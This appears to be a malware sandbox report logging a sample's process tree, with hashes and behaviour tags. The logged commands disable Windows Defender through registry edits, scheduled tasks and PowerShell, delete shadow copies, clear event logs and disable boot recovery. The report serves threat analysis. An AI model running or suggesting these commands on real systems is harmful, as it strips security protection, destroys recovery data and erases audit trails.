C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f2⤵PID:2564
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f2⤵PID:768
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f2⤵PID:3596
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f2⤵PID:2784
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f2⤵PID:2608
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f2⤵PID:760
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable2⤵PID:3328
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable2⤵PID:1608
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable2⤵PID:2744
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable2⤵PID:3904
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable2⤵PID:3856
-
C:\Windows\SYSTEM32\reg.exereg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f2⤵PID:388
-
C:\Windows\SYSTEM32\reg.exereg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f2⤵PID:1456
-
C:\Windows\SYSTEM32\reg.exereg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f2⤵PID:448
-
C:\Windows\SYSTEM32\reg.exereg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f2⤵
- Modifies registry class
PID:2256 -
C:\Windows\SYSTEM32\reg.exereg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f2⤵
- Modifies registry class
PID:1840 -
C:\Windows\SYSTEM32\reg.exereg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f2⤵
- Modifies registry class
PID:876 -
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:1060
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:3048
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:3356
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:3740
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f2⤵
- Modifies security service
PID:1744 -
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:3828
-
C:\Windows\SYSTEM32\vssadmin.exevssadmin.exe delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3788 -
C:\Windows\SYSTEM32\wevtutil.exewevtutil.exe cl system2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3276 -
C:\Windows\SYSTEM32\wevtutil.exewevtutil.exe cl security2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3976 -
C:\Windows\SYSTEM32\wevtutil.exewevtutil.exe cl application2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3184 -
C:\Windows\System32\Wbem\wmic.exewmic.exe SHADOWCOPY /nointeractive2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1800 -
C:\Windows\System32\Wbem\wmic.exewmic.exe shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4056 -
C:\Windows\SYSTEM32\bcdedit.exebcdedit.exe /set {default} bootstatuspolicy ignoreallfailures2⤵
- Modifies boot configuration data using bcdedit
PID:3680 -
C:\Windows\SYSTEM32\bcdedit.exebcdedit.exe /set {default} recoveryenabled no2⤵
- Modifies boot configuration data using bcdedit
PID:3416 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All2⤵PID:1752
-
C:\Program Files\Windows Defender\MpCmdRun.exe"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All3⤵
- Deletes Windows Defender Definitions
PID:2600 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true2⤵PID:3044
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIOAVProtection $true3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2528 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true2⤵PID:1712
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1796
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
MD5
8592ba100a78835a6b94d5949e13dfc1
SHA163e901200ab9a57c7dd4c078d7f75dcd3b357020
SHA256fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c
SHA51287f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3
-
MD5
fa815351d9175d68b774016521c3270a
SHA12401b709edf026bc04040ccc1fde64dd9e6922cd
SHA256f2d37c7688ebb3e941693b4fbb6f3a23dc8aa8f8bd19d905b8a83defa7043c11
SHA51227f3996db25a7e2f94df92db63c08cc9b0c950f00046aa1947c389c6d9638095e4748acf632f8ac1d082c0ef5b03e4f45be468a9d1d6065870a2e7700d68857a